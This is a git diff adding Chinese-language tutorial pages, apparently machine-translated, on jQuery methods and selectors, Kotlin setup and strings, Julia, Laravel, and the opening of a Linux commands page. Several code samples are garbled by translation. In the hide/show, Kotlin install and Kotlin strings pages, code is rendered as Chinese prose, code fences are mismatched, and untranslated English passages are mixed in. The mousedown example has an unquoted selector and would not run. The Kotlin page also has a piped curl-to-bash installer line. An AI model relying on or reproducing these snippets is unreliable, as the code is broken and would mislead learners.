+[的jsfiddle](https://jsfiddle.net/dy457gbh/)
+
+#### 更多使用click方法的方法
+
+处理函数还可以接受对象形式的其他数据：
+
+```javascript
+jqueryElement.click(usefulInfo, handler) 
+```
+
+数据可以是任何类型。
+
+```javascript
+$("element").click({firstWord: "Hello", secondWord: "World"}, function(event){ 
+    alert(event.data.firstWord); 
+    alert(event.data.secondWord); 
+ }); 
+```
+
+在没有处理函数的情况下调用click方法会触发click事件：
+
+```javascript
+$("#alert").click(function () { 
+  alert("Hi! I'm an alert"); 
+ }); 
+ 
+ $("#alert").click(); 
+```
+
+现在，无论何时加载页面，当我们进入或重新加载页面时都会触发click事件，并显示已分配的警报。
+
+此外，您应该更喜欢在.click（...）上使用.on（'click'，...），因为前者可以使用更少的内存并且可以用于动态添加的元素。
+
+[的jsfiddle](https://jsfiddle.net/gspk6gxt/)
+
+#### 常见错误
+
+click事件仅绑定到绑定时当前在DOM上的元素，因此之后添加的任何元素都不会被绑定。绑定所有 DOM上的元素，即使它们将在以后创建，也使用`.on()`方法。
+
+例如，此单击方法示例：
+
+```javascript
+$( "element" ).click(function() { 
+  alert("I've been clicked!"); 
+ }); 
+```
+
+可以在方法示例中更改为：
+
+```javascript
+$( document ).on("click", "element", function() { 
+  alert("I've been clicked!"); 
+ }); 
+```
+
+#### 更多信息：
+
+有关更多信息，请访问[官方网站](https://api.jquery.com/click/#click) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/jquery/jquery-css-method/index.md b/client/src/guide/chinese/jquery/jquery-css-method/index.md
new file mode 100644
index 0000000000..9c05771e8c
--- /dev/null
+++ b/client/src/guide/chinese/jquery/jquery-css-method/index.md
@@ -0,0 +1,58 @@
+---
+title: CSS Method
+localeTitle: CSS方法
+---
+## CSS方法
+
+jQuery `.css()`方法获取匹配元素集中第一个元素的计算样式属性的值，或为每个匹配元素设置一个或多个CSS属性。
+
+### 入门
+
+要返回指定CSS属性的值，请使用以下语法：
+
+```js
+    $(selector).css(propertyName); 
+```
+
+例如：
+
+```js
+    $('#element').css('background'); 
+```
+
+注意：这里我们可以使用任何css选择器，例如：element（HTML Tag selector），。element（Class Selector），＃element（ID selector）。
+
+### 设置
+
+要设置指定的CSS属性，请使用以下语法：
+
+```js
+    $(selector).css(propertyName,value); 
+```
+
+例如：
+
+```js
+    $('#element').css('background','red'); 
+```
+
+要设置多个CSS属性，您必须使用对象文字语法，如下所示：
+
+```js
+    $('#element').css({ 
+        'background': 'gray', 
+        'color': 'white' 
+    }); 
+```
+
+如果要更改标有多个单词的属性，请参阅此示例：
+
+更改元素的`background-color`
+
+```js
+    $('#element').css('background-color', 'gray'); 
+```
+
+#### 更多信息：
+
+文档： [api.jquery](http://api.jquery.com/css/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/jquery/jquery-effects-hide-method/index.md b/client/src/guide/chinese/jquery/jquery-effects-hide-method/index.md
new file mode 100644
index 0000000000..54e9b1f307
--- /dev/null
+++ b/client/src/guide/chinese/jquery/jquery-effects-hide-method/index.md
@@ -0,0 +1,56 @@
+---
+title: jQuery Effects Hide Method
+localeTitle: jQuery效果隐藏方法
+---
+## jQuery隐藏方法
+
+在最简单的形式中， **.hide（）**立即隐藏匹配的元素，没有动画。例如：
+
+```javascript
+$(".myclass").hide() 
+```
+
+将隐藏其类为_myclass的_所有元素。可以使用任何jQuery选择器。
+
+### .hide（）作为动画方法
+
+由于其选项， **.hide（）**可以同时为匹配元素的宽度，高度和不透明度设置动画。
+
+*   持续时间可以以毫秒为单位，或者使用文字慢（600毫秒）和快速（200毫秒）。例如：
+
+```javascript
+$("#myobject").hide(800) 
+```
+
+*   可以指定在动画完成后调用函数，每个匹配元素调用一次。此回调主要用于将不同的动画链接在一起。例如
+
+```javascript
+$("p").hide( "slow", function() { 
+      $(".titles").hide("fast"); 
+      alert("No more text!"); 
+ }); 
+  ``` 
+ * More options exist, please refer to the official website for further details. 
+ 
+ ### .toggle() method 
+ 
+ To show / hide elements you can use ```toggle()``` method. If element is hidden ```toggle()``` will show it and vice versa. 
+ Usage: 
+```
+
+JavaScript的 $（ “MyClass的”）。切换（） \`\`\`
+
+### .slideDown（）方法
+
+此方法可以激活匹配元素的高度。这会导致页面的下半部分向下滑动，为显示的项目腾出空间。 用法：
+
+```javascript
+$(".myclass").slideDown(); //will expand the element with the identifier myclass for 400 ms. 
+ $(".myclass").slideDown(1000); //will expand the element with the identifier myclass for 1000 ms. 
+ $(".myclass").slideDown("slow"); //will expand the element with the identifier myclass for 600 ms. 
+ $(".myclass").slideDown("fast"); //will expand the element with the identifier myclass for 200 ms. 
+```
+
+#### 更多信息：
+
+[官方网站](http://api.jquery.com/hide/)上的JQuery hide（）方法
\ No newline at end of file
diff --git a/client/src/guide/chinese/jquery/jquery-effects-show-method/index.md b/client/src/guide/chinese/jquery/jquery-effects-show-method/index.md
new file mode 100644
index 0000000000..b6970f7c57
--- /dev/null
+++ b/client/src/guide/chinese/jquery/jquery-effects-show-method/index.md
@@ -0,0 +1,45 @@
+---
+title: jQuery Effects Show Method
+localeTitle: jQuery效果显示方法
+---
+## jQuery效果显示方法
+
+在最简单的形式中， **.show（）**立即显示匹配的元素，没有动画。例如：
+
+```javascript
+$(".myclass").show(); 
+```
+
+将显示其类为_myclass的_所有元素。可以使用任何jQuery选择器。
+
+但是，此方法不会覆盖CSS样式中的`!important` ，例如`display: none !important` 。
+
+### .show（）作为动画方法
+
+由于其选项， **.show（）**可以同时为匹配元素的宽度，高度和不透明度设置动画。
+
+*   持续时间可以以毫秒为单位，或者使用文字慢（600毫秒）和快速（200毫秒）。例如：
+
+```javascript
+$("#myobject").show("slow"); 
+```
+
+*   可以指定在动画完成后调用函数，每个匹配元素调用一次。例如
+
+```javascript
+$("#title").show( "slow", function() { 
+    $("p").show("fast"); 
+ }); 
+  ``` 
+ * More options exist, please refer to the official website for further details. 
+ 
+ ### .slideDown() method 
+ This method animates the height of the matched elements. This causes lower parts of the page to slide down, making way for the revealed items. 
+ Usage: 
+```
+
+JavaScript的 $（ “MyClass的。”）了slideDown（）。 //将使用标识符myclass扩展元素400毫秒。 $（ “MyClass的”）了slideDown（1000）。 //将使用标识符myclass扩展元素1000毫秒。 $（ “MyClass的。 ”）了slideDown（“ 慢”）。 //将使用标识符myclass扩展元素600毫秒。 $（ “MyClass的 ”）了slideDown（“ 快”）。 //将使用标识符myclass扩展元素200毫秒。 \`\`\`
+
+#### 更多信息：
+
+[官方网站](http://api.jquery.com/show/)上的JQuery Show（）方法
\ No newline at end of file
diff --git a/client/src/guide/chinese/jquery/jquery-event-method/index.md b/client/src/guide/chinese/jquery/jquery-event-method/index.md
new file mode 100644
index 0000000000..1bbdf94b2a
--- /dev/null
+++ b/client/src/guide/chinese/jquery/jquery-event-method/index.md
@@ -0,0 +1,11 @@
+---
+title: jquery Event Method
+localeTitle: jquery事件方法
+---
+## jquery事件方法
+
+这些方法用于注册行为，以便在用户与浏览器交互时生效，并进一步操纵这些注册的行为。
+
+#### 更多信息：
+
+https://api.jquery.com/category/events/
\ No newline at end of file
diff --git a/client/src/guide/chinese/jquery/jquery-hover-method/index.md b/client/src/guide/chinese/jquery/jquery-hover-method/index.md
new file mode 100644
index 0000000000..f8ecab500d
--- /dev/null
+++ b/client/src/guide/chinese/jquery/jquery-hover-method/index.md
@@ -0,0 +1,16 @@
+---
+title: jQuery Hover Method
+localeTitle: jQuery悬停方法
+---
+# jQuery悬停方法
+
+jquery悬停方法是`mouseenter`和`mouseleave`事件的组合。 语法是这样的：
+```
+$(selector).hover(inFunction, outFunction); 
+```
+
+第一个功能，inFunction，当将要运行`mouseenter`事件发生。 第二个函数是可选的，但会在`mouseleave`事件发生时运行。 如果只指定了一个函数，则另一个函数将同时针对`mouseenter`和`mouseleave`事件运行。
+
+### 更多信息
+
+更多信息可以在[这里](https://www.w3schools.com/jquery/event_hover.asp)找到。
\ No newline at end of file
diff --git a/client/src/guide/chinese/jquery/jquery-html-method/index.md b/client/src/guide/chinese/jquery/jquery-html-method/index.md
new file mode 100644
index 0000000000..41a880eb02
--- /dev/null
+++ b/client/src/guide/chinese/jquery/jquery-html-method/index.md
@@ -0,0 +1,40 @@
+---
+title: HTML Method
+localeTitle: HTML方法
+---
# HTML方法
+
+Jquery `.html()`方法获取HTML元素的内容或设置HTML元素的内容。
+
+## 入门
+
+要返回HTML元素的内容，请使用以下语法：
+
+```javascript
+$('selector').html(); 
+```
+
+例如：
+
+```javascript
+$('#example').html(); 
+```
+
+## 设置
+
+要设置HTML元素的内容，请使用以下语法：
+
+```javascript
+$('selector').html(content); 
+```
+
+例如：
+
+```javascript
+$('p').html('Hello World!'); 
+```
+
+这会将所有`<p>`元素的内容设置为Hello World！
+
+### 更多信息
+
+[W3Schools的](https://www.w3schools.com/jquery/html_html.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/jquery/jquery-mousedown-method/index.md b/client/src/guide/chinese/jquery/jquery-mousedown-method/index.md
new file mode 100644
index 0000000000..2584181a98
--- /dev/null
+++ b/client/src/guide/chinese/jquery/jquery-mousedown-method/index.md
@@ -0,0 +1,19 @@
+---
+title: Mousedown Method
+localeTitle: Mousedown方法
+---
# Mousedown方法
+
+按下鼠标左键时会发生mousedown事件。 要触发所选元素的mousedown事件，请使用以下语法： `$(selector).mousedown();`
+
+但是，大多数情况下，mousedown方法与附加到mousedown事件的函数一起使用。 这是语法： `$(selector).mousedown(function);` 例如：
+```
+$(#example).mousedown(function(){ 
+   alert("Example was clicked"); 
+ }); 
+```
+
+当单击#example时，该代码将使页面警报“单击示例”。
+
+### 更多信息
+
+更多信息可以在[这里](https://www.w3schools.com/jquery/event_mousedown.asp)找到。
\ No newline at end of file
diff --git a/client/src/guide/chinese/jquery/jquery-selectors/index.md b/client/src/guide/chinese/jquery/jquery-selectors/index.md
new file mode 100644
index 0000000000..587ac46416
--- /dev/null
+++ b/client/src/guide/chinese/jquery/jquery-selectors/index.md
@@ -0,0 +1,136 @@
+---
+title: jQuery Selectors
+localeTitle: jQuery选择器
+---
+## jQuery选择器
+
+jQuery使用CSS样式选择器来选择HTML页面的部分或元素。然后，它允许您使用jQuery方法或函数对元素执行某些操作。
+
+要使用其中一个选择器，请在其后键入美元符号和括号： `$()` 。这是`jQuery()`函数的简写。在括号内，添加要选择的元素。您可以使用单引号或双引号。在此之后，在括号和要使用的方法之后添加一个点。
+
+在jQuery中，类和ID选择器与CSS中的类似。
+
+这是一个选择所有段落元素的jQuery方法的示例，并为它们添加了一个“selected”类：
+
+```javascript
+<p>This is a paragraph selected by a jQuery method.</p> 
+ <p>This is also a paragraph selected by a jQuery method.</p> 
+ 
+ $("p").addClass("selected"); 
+```
+
+在jQuery中，类和ID选择器与CSS中的相同。如果要选择具有特定类的元素，请使用点（ `.` ）和类名。如果要选择具有特定ID的元素，请使用井号（ `#` ）和ID名称。请注意，HTML不区分大小写，因此最好将HTML标记和CSS选择器保持为小写。
+
+按班级选择：
+
+```javascript
+<p class="p-with-class">Paragraph with a class.</p> 
+ 
+ $(".p-with-class").css("color", "blue"); // colors the text blue 
+```
+
+按ID选择：
+
+```javascript
+<li id="li-with-id">List item with an ID.</li> 
+ 
+ $("#li-with-id").replaceWith("<p>Socks</p>"); 
+```
+
+您还可以选择某些元素及其类和ID：
+
+### 按班级选择
+
+如果要选择具有特定类的元素，请使用点（。）和类名。
+
+```html
+
+<p class="pWithClass">Paragraph with a class.</p> 
+```
+
+```javascript
+$(".pWithClass").css("color", "blue"); // colors the text blue 
+```
+
+您还可以将类选择器与标记名称结合使用，以使其更具体。
+
+```html
+
+<ul class="wishList">My Wish List</ul>`<br> 
+```
+
+```javascript
+$("ul.wishList").append("<li>New blender</li>"); 
+```
+
+### 按ID选择
+
+如果要选择具有特定ID值的元素，请使用井号（＃）和ID名称。
+
+```html
+
+<li id="liWithID">List item with an ID.</li> 
+```
+
+```javascript
+$("#liWithID").replaceWith("<p>Socks</p>"); 
+```
+
+与类选择器一样，它也可以与标签名称结合使用。
+
+```html
+
+<h1 id="headline">News Headline</h1> 
+```
+
+```javascript
+$("h1#headline").css("font-size", "2em"); 
+```
+
+### 充当过滤器的选择器
+
+还有一些选择器充当过滤器 - 它们通常以冒号开头。例如， `:first`选择器选择其父元素的第一个子元素。这是一个包含一些列表项的无序列表的示例。列表下方的jQuery选择器选择列表中的第一个`<li>`元素 - “One”列表项 - 然后使用`.css`方法将文本变为绿色。
+
+```html
+
+   <ul> 
+      <li>One</li> 
+      <li>Two</li> 
+      <li>Three</li> 
+   </ul> 
+```
+
+```javascript
+$("li:first").css("color", "green"); 
+```
+
+**注意：**不要忘记在JavaScript中应用css不是一个好习惯。您应该始终在css文件中提供样式。
+
+另一个过滤选择器`:contains(text)` ，选择具有特定文本的元素。将要匹配的文本放在括号中。这是一个有两段的例子。 jQuery选择器使用单词“Moto”并将其颜色更改为黄色。
+
+```html
+
+    <p>Hello</p> 
+    <p>World</p> 
+```
+
+```javascript
+$("p:contains('World')").css("color", "yellow"); 
+```
+
+类似地， `:last`选择器选择其父级的最后一个子元素。下面的JQuery选择器选择列表中的最后一个`<li>`元素 - “三”列表项 - 然后使用`.css`方法将文本变为黄色。
+
+`$("li:last").css("color", "yellow");`
+
+**注意：**在jQuery选择器中， `World`是单引号，因为它已经在一对双引号内。始终在双引号内使用单引号以避免无意中结束字符串。
+
+**多个选择器** 在jQuery中，您可以使用多个选择器，使用一行代码将相同的更改应用于多个元素。您可以通过用逗号分隔不同的ID来完成此操作。例如，如果要将ids cat，dog和rat的三个元素的背景颜色分别设置为红色，只需执行以下操作：
+```
+$("#cat,#dog,#rat").css("background-color","red"); 
+```
+
+这些只是可用于jQuery的一些选择器。有关jQuery网站上完整列表的链接，请参阅“更多信息”部分。
+
+#### 更多信息：
+
+*   [jQuery选择器的完整列表](http://api.jquery.com/category/selectors/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/julia/index.md b/client/src/guide/chinese/julia/index.md
new file mode 100644
index 0000000000..8ab56aa434
--- /dev/null
+++ b/client/src/guide/chinese/julia/index.md
@@ -0,0 +1,7 @@
+---
+title: Julia
+localeTitle: 朱莉娅
+---
+## 朱莉娅是什么？
+
+[朱莉娅](https://julialang.org)是个 针对科学和数值计算的高性能，可选类型编程语言。它具有线性代数库，数字优化，信号处理和机器学习等功能。它使用多个分派并具有LLVM后端和JIT编译器。 朱莉娅被选中用于安全评估[下一代机载防撞系统的开发。](https://juliacomputing.com/case-studies/lincoln-labs.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/kotlin/hello-world/index.md b/client/src/guide/chinese/kotlin/hello-world/index.md
new file mode 100644
index 0000000000..8e9606dd5f
--- /dev/null
+++ b/client/src/guide/chinese/kotlin/hello-world/index.md
@@ -0,0 +1,59 @@
+---
+title: Hello World in Kotlin
+localeTitle: Kotlin的Hello World
+---
+Hello World程序是一个非常简单的程序，它输出字符串“Hello World！”。它通常用于显示编程语言的基本语法。
+
+在本教程中，我们将分析用Kotlin编写的Hello World程序的语法。
+
+如果您还没有安装Kotlin，请查看本教程：https：//guide.freecodecamp.org/kotlin
+
+## 你好世界计划
+
+```kotlin
+// This is a simple Hello World program written in Kotlin 
+ 
+ fun main(args : Array<String>) { 
+    println("Hello, World!") 
+ } 
+```
+
+正如您所料，当您运行此程序时，输出应为“Hello，World！”。
+
+## 句法
+
+### 注释
+```
+// This is a simple Hello World program written in Kotlin 
+```
+
+注释是由开发人员编写的文本，其目的是使代码更容易被其他开发人员理解。 在Kotlin中，注释可以是单行注释（使用//）或多行注释（使用/ \*\* /）。
+```
+// Single line comment 
+ 
+ /* This is a 
+ Multi-line comment 
+ */ 
+```
+
+### 主功能
+
+```kotlin
+fun main(args : Array<String>) {...} 
+```
+
+main函数是一个强制函数，它告诉编译器它应该从哪里开始执行我们的代码。它将一个字符串数组作为参数，并返回类型Unit，它对应于Java等语言中的`void`类型。 正如我们所看到的，函数是使用关键字`fun` ，其主体应该用花括号括起来。
+
+没有显式声明的返回类型的函数将返回`Unit`类型，因此，上面的代码相当于
+
+```kotlin
+fun main(args : Array<String>): Unit {...} 
+```
+
+### 打印声明
+
+println函数将字符串作为参数并将其打印到屏幕上。在这种情况下，我们打印字符串“Hello，World！”。请注意，字符串文字使用双引号`"String"` 。
+
+如果您想了解更多关于Kotlin语法的知识并开始撰写精彩的程序，您应该查看非常棒的Kotlin官方文档：https：//kotlinlang.org/docs/reference/
+
+希望你喜欢这个教程， 干杯
\ No newline at end of file
diff --git a/client/src/guide/chinese/kotlin/index.md b/client/src/guide/chinese/kotlin/index.md
new file mode 100644
index 0000000000..e7d3629792
--- /dev/null
+++ b/client/src/guide/chinese/kotlin/index.md
@@ -0,0 +1,164 @@
+---
+title: Kotlin
+localeTitle: 科特林
+---
+**什么是Kotlin？**
+
+[Kotlin](https://kotlinlang.org/)是一种由[Jetbrains](https://www.jetbrains.com)开发的编程语言， [Jetbrains](https://www.jetbrains.com)是世界上最流行的一些IDE（如IntelliJ和Pycharm）背后的公司。
+
+它可以替代Java并在JVM上运行。它已经开发了近6年，而且仅在一年前达到1.0。
+
+开发者社区已经接受了Kotlin，以至于Google在[Google I / O 2017](https://blog.jetbrains.com/kotlin/2017/05/kotlin-on-android-now-official/)上宣布了对Android开发语言的一流支持。
+
+## 版
+
+在撰写本文时，Kotlin的最新稳定版本恰好是[版本1.2.71](https://blog.jetbrains.com/kotlin/2018/09/kotlin-1-2-70-is-out/)
+
+## 安装
+
+在继续Kotlin的安装说明之前，您需要确保已在系统上设置了**JDK（Java Development Kit）** 。
+
+如果您的计算机上未安装JDK，请转到[此链接](https://guide.freecodecamp.org/java)上的“ **安装”部分** [以了解](https://guide.freecodecamp.org/java)如何进行设置。
+
+Kotlin可与**JDK 1.6+配合使用，**因此请确保安装了正确的版本。完成JDK设置后，请继续执行以下步骤。
+
+*   \## IntelliJ IDEA 让Kotlin在你的机器上运行的最快方法是将它与**IntelliJ IDEA**一起使用。这是Kotlin推荐的IDE，因为Jetbrains提供了工具支持。您可以从[JetBrains](https://www.jetbrains.com)获取IntelliJ的[Community Edition](http://www.jetbrains.com/idea/download/index.html) 。
+
+一旦安装了IntelliJ，您基本上就可以开始使用Kotlin中的第一个项目而无需进一步配置。
+
+创建一个**新项目**并确保选择Java模块。选择该屏幕上的Kotlin复选框
+
+![新项目屏幕](https://kotlinlang.org/assets/images/tutorials/getting-started/new_project_step1.png)
+
+为项目命名，然后单击“完成”。
+
+![项目名](https://kotlinlang.org/assets/images/tutorials/getting-started/project_name.png)
+
+现在，您将进入主编辑器，您将看到以下列方式组织项目文件。
+
+![项目结构](https://kotlinlang.org/assets/images/tutorials/getting-started/folders.png)
+
+为了验证您的安装，请在**src**文件夹中创建一个新的Kotlin文件，并将其命名为**app** （或任何其他适合您的文件）
+
+![项目结构](https://kotlinlang.org/assets/images/tutorials/getting-started/new_file.png)
+
+创建文件后，键入以下Cremonial Hello World代码。不要担心，如果它没有意义，它将在后面的指南中详细讨论。
+
+\`\`\` 有趣的主要（args：数组 ）{ println（“Hello World！”） }
+```
+![project structure ](https://kotlinlang.org/assets/images/tutorials/getting-started/hello_world.png) 
+ 
+ You can now run this program by either clicking on the Kotlin icon on the gutter (left side of your editor with line numbers) 
+ 
+ ![hello world ](https://kotlinlang.org/assets/images/tutorials/getting-started/run_default.png) 
+ 
+ If everything goes fine, you should see the message Hello World! in your Run window as shown below 
+ 
+ ![run window ](https://kotlinlang.org/assets/images/tutorials/getting-started/run_window.png) 
+ 
+ 
+ 
+ * ## Eclipse 
+ 
+ While IntelliJ is the recommended IDE for developing with Kotlin, it is definitely not the only option out there. **Eclipse** happens to be another popular IDE of choice among Java developers and Kotlin is supported by Eclipse as well. 
+ 
+ After setting up the **JDK** on your system, follow the instructions below. 
+ 
+ Download <a href='https://www.eclipse.org/downloads/'>**Eclipse Neon** </a>for your operating system and once you have successfully installed it on your system, download the **Kotlin Plugin** for Eclipse from the <a href='http://marketplace.eclipse.org/content/kotlin-plugin-eclipse'>**Eclipse Marketplace**</a>. 
+ 
+ ![eclipse marketplace ](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/marketplace.png) 
+ 
+ ***NOTE: You can also do the same by going into Help -> Eclipse Marketplace and then search for Kotlin Plugin*** 
+ 
+ Once, the plugin is installed you are pretty much done but it would be a good idea to take the IDE for a spin with a quick Hello World sample. 
+ 
+ Create a new Kotlin Project by clicking on File -> New -> Kotlin Project 
+ 
+ ![new kotlin project ](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/new-project.png) 
+ 
+ An empty project will be created with a directory structure quite similar to a Java project. It would look something like this 
+ 
+ ![empty kotlin project ](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/empty-project.png) 
+ 
+ Go ahead and create a new Kotlin file in the **src** folder 
+ 
+ Once that is done go ahead and type out the following code. Don't worry if it does not make sense right now, it will be covered later in the guide. 
+```
+
+有趣的主要（args：数组 ）{ println（“Hello World！”） }
+```
+![eclipse hello world ](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/hello-world.png) 
+ 
+ Now that you are done typing out the Hello World code, go ahead and run it. To run the file, right click anywhere inside the editor and click on ***Run As -> Kotlin Application*** 
+ 
+ 
+ ![eclipse run app](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/run-as.png) 
+ 
+ If all goes well, the console window would open to show you the output. 
+ 
+ ![eclipse run app](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/output.png) 
+ 
+ * ## Using the standalone compiler on the terminal 
+ If you are someone who prefers doing things in a more manual way and do not want to tie yourself down to an editor/IDE you might wanna use the Kotlin compiler. 
+ 
+ ### Downloading the compiler 
+ 
+ With every release of Kotlin, Jetbrains ship a standalone compiler which can be downloaded from the <a href='https://github.com/JetBrains/kotlin/releases/tag/v1.1.51'>GitHub releases</a>. Version 1.1.51 happens to be the latest at the time of this writing. 
+ 
+ 
+ </br> 
+ 
+ **Manual Installation** 
+ 
+ Once you have downloaded the compiler you need to unzip it and proceed with the standard installation using the installation wizard. Adding the **bin** directory to the system path is an optional step. It contains the scripts that are necessary to compile and run Kotlin on Windows, Linux and macOS. 
+ 
+ </br> 
+ 
+ **Installation via Homebrew** 
+ 
+ You can install the compiler on macOS using <a href='http://brew.sh/'>Homebrew </a>which is a package manager for macOS. Launch the Terminal app and issue the following commands 
+```
+
+$ brew更新 $ brew安装kotlin
+```
+**Installation via SDKMAN!** 
+ 
+ Another simple way of installing the Kotlin compiler on macOS, Linux, Cygwin, FreeBSD and Solaris is by using <a href='http://sdkman.io/'>SDKMAN!</a>. Launch the terminal and issue the following commands 
+```
+
+$ curl -s https://get.sdkman.io | bash\`\`\`
+
+按照屏幕上的说明和SDKMAN一次！设置在终端内发出follwoing命令
+
+`$ sdk install kotlin`
+
+与之前的所有安装选项一样，测试运行安装是个不错的主意。
+
+打开您选择的文本编辑器并编写下面给出的基本Kotlin程序
+```
+fun main(args: Array<String>) { 
+    println("Hello, World!") 
+ } 
+```
+
+使用**.kt**扩展名保存此文件。您现在可以编译它并查看结果了。为此，请发出以下命令
+
+`$ kotlinc hello.kt -include-runtime -d hello.jar`
+
+`-d`选项告诉编译器您希望调用输出。 `-include-runtime`选项通过在其中包含Kotlin运行时库，使得生成的.jar文件自包含且可运行。
+
+如果没有编译错误，请使用以下命令运行该应用程序
+
+`$ java -jar hello.jar`
+
+如果一切顺利，你应该看到**Hello World！**打印在终端屏幕上
+```
+$ java -jar hello.jar 
+ Hello, World! 
+```
+
+恭喜您已成功在系统上设置Kotlin编译器和开发环境。我们将在本指南中介绍Kotlin的所有复杂和有趣的部分，但如果您想要通过[Try Kotlin](https://try.kotlinlang.org/)网站并在那里进行练习，您可以获得一个先机。
+
+## 文档
+
+Kotlin最大的优点之一就是它全面而结构良好的文档。即使你是编程新手，你也会发现自己就在家里。他们以一种结构良好的方式完成所有工作，他们做得非常出色。您可以在[此链接](https://kotlinlang.org/docs/reference/)查看官方文档。
\ No newline at end of file
diff --git a/client/src/guide/chinese/kotlin/strings/index.md b/client/src/guide/chinese/kotlin/strings/index.md
new file mode 100644
index 0000000000..3f2ea7d50b
--- /dev/null
+++ b/client/src/guide/chinese/kotlin/strings/index.md
@@ -0,0 +1,246 @@
+---
+title: Strings
+localeTitle: 字符串
+---
+# 字符串
+
+字符串是编程语言中的基本数据类型。字符串由`String`类型表示。字符串是不可变的。 Kotlin有一个丰富的API来处理字符串。
+
+### 基本用法
+
+#### 宣言
+
+```kotlin
+// Explicit type declaration 
+ var firstName : String = "Elon" 
+ 
+ // or Implicit type declaration and will still compile 
+ val lastName = "Musk" 
+```
+
+另外，请注意`val`变量类型的用法，以下是它的行为方式
+
+```kotlin
+firstName = "Mark" // can be changed 
+ lastName = "Zuckerberg" // cannot be changed 
+ lastName = 12 // Error: type mismatch 
+```
+
+#### 字符串连接
+
+显示在代码片段中，就像Java一样，将`Int`追加到 `String`将导致`String`输出
+
+```kotlin
+var str = "abc" + 1 
+ println(str + "def") 
+```
+
+输出：
+
+```shell
+abc1def 
+```
+
+即使没有显式地将`Int`值1显式转换为`String`对象，结果输出仍然是`String` 。
+
+#### 具有多行的字符串
+
+程序员可以使用三引号而不是双引号来声明具有多行的`String`变量
+
+```kotlin
+var str = """ 
+        This is line 1 
+        This is line 2 
+        This is line 3 
+        """ 
+ println(str) 
+```
+
+输出：
+
+```shell
+        This is line 1 
+        This is line 2 
+        This is line 3 
+```
+
+或者使用`.trimIndent()`
+
+使用`trimIndent()`还可以通过消除每行上多余的和不必要的缩进来提供干净的输出格式。检查下面的代码段：
+
+```kotlin
+var str = """ 
+        This is line 1 
+        This is line 2 
+        This is line 3 
+        """.trimIndent() 
+ println(str) 
+```
+
+输出：
+
+```shell
+This is line 1 
+ This is line 2 
+ This is line 3 
+```
+
+### 访问字符串的字符
+
+#### 索引访问
+
+程序员可以使用索引访问运算符访问字符串的元素（字符）：
+
+```kotlin
+var str = "Example" 
+ println(str[2]) 
+```
+
+输出：
+
+```shell
+a 
+```
+
+就像从数组中访问元素一样，您得到：
+
+```kotlin
+var str = "Example" 
+ println(str[9]) // Error: index out of bounds 
+```
+
+#### 通过String迭代
+
+字符串的元素是可以通过索引操作访问的字符： `s[i]` 。
+
+```kotlin
+var str = "Example" 
+ for (c in str) { 
+    println(c) 
+ } 
+```
+
+输出：
+
+```shell
+E 
+ x 
+ a 
+ m 
+ p 
+ l 
+ e 
+```
+
+### 字符串的不变性
+
+就像Java一样，您无法更改`String`各个元素
+
+```kotlin
+var str = "Example" 
+ str[2] = "b" // Error 
+```
+
+#### 重新分配字符串值
+
+```kotlin
+var str = "Example" 
+ println(str) 
+ str = "Example was changed" 
+ println(str) 
+```
+
+输出：
+
+```shell
+Example 
+ Example was changed 
+```
+
+### 字符串属性
+
+#### 确定字符串的长度
+
+```kotlin
+var str = "Example" 
+ println(str.length) 
+```
+
+输出：
+
+```shell
+7 
+```
+
+### 字符串函数
+
+这些是当前Kotlin版本中可用的一些常见`String`函数
+
+### 相比于
+
+将此对象与指定的对象进行比较以获得顺序。如果此对象等于指定的其他对象，则返回零;如果小于其他对象，则返回负数;如果它大于其他对象，则返回正数。
+
+```kotlin
+var str = "Example" 
+ var str2 = "Example123" 
+ var str3 = "Example12345" 
+ println(str.compareTo(str2)) 
+ println(str.compareTo(str3)) 
+ println(str3.compareTo(str)) 
+ println(str.compareTo("Example")) 
+```
+
+输出：
+
+```shell
+-3 
+ -5 
+ 5 
+ 0 # Equal 
+```
+
+### 等于
+
+指示`String`对象是否与另一个`String`对象完全相同
+
+```kotlin
+var str = "Example" 
+ var str2 = "Example2" 
+ println(str.equals("Example")) 
+ println(str2.equals("Example")) 
+```
+
+输出：
+
+```shell
+true 
+ false 
+```
+
+### 得到
+
+返回此字符序列中指定索引处的字符。
+
+\`\`\`kotlin var str =“示例” 的println（str.get（3））
+```
+Output: 
+```
+
+贝壳 米
+```
+### toString 
+ 
+ Returns a string representation of the object. 
+```
+
+科特林 println（9.toString（）+ 10） println（9 + 10）
+```
+Output: 
+```
+
+贝壳 “910” 19 \`\`\`
+
+#### 资源
+
+*   [Kotlin基本类型](https://kotlinlang.org/docs/reference/basic-types.html)
+*   [Kotlin字符串参考](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-string/index.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/laravel/index.md b/client/src/guide/chinese/laravel/index.md
new file mode 100644
index 0000000000..ec3f4a3304
--- /dev/null
+++ b/client/src/guide/chinese/laravel/index.md
@@ -0,0 +1,9 @@
+---
+title: Laravel
+localeTitle: Laravel
+---
+# Laravel
+
+Laravel是一个免费的开源PHP Web框架，可在[GitHub上](https://github.com/laravel/laravel)获得，并根据MIT许可条款获得许可。它是由泰勒·奥特威尔（Taylor Otwell）创建的，他设计的目标是按照模型 - 视图 - 控制器（MVC）架构模式开发Web应用程序，现在它是GitHub上最受欢迎的PHP框架。 Laravel中的一些主要功能是访问关系数据库的不同方式，有助于应用程序部署和维护的实用程序，以及最后但并非最不重要的具有专用依赖关系管理器的模块化打包系统。
+
+因为Laravel是开源的，所以它周围的社区非常强大，文档也是如此，你可以学习如何做几乎所有的事情，试着看一下[Laravel文档](https://laravel.com/docs/5.7/) ，一睹开源的力量！
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/10-simple-and-useful-linux-commands/index.md b/client/src/guide/chinese/linux/10-simple-and-useful-linux-commands/index.md
new file mode 100644
index 0000000000..07dac4d764
--- /dev/null
+++ b/client/src/guide/chinese/linux/10-simple-and-useful-linux-commands/index.md
@@ -0,0 +1,48 @@
+---
+title: 10 Simple and Useful Linux Commands
+localeTitle: 10个简单实用的Linux命令
+---
+# 10个简单实用的Linux命令
+
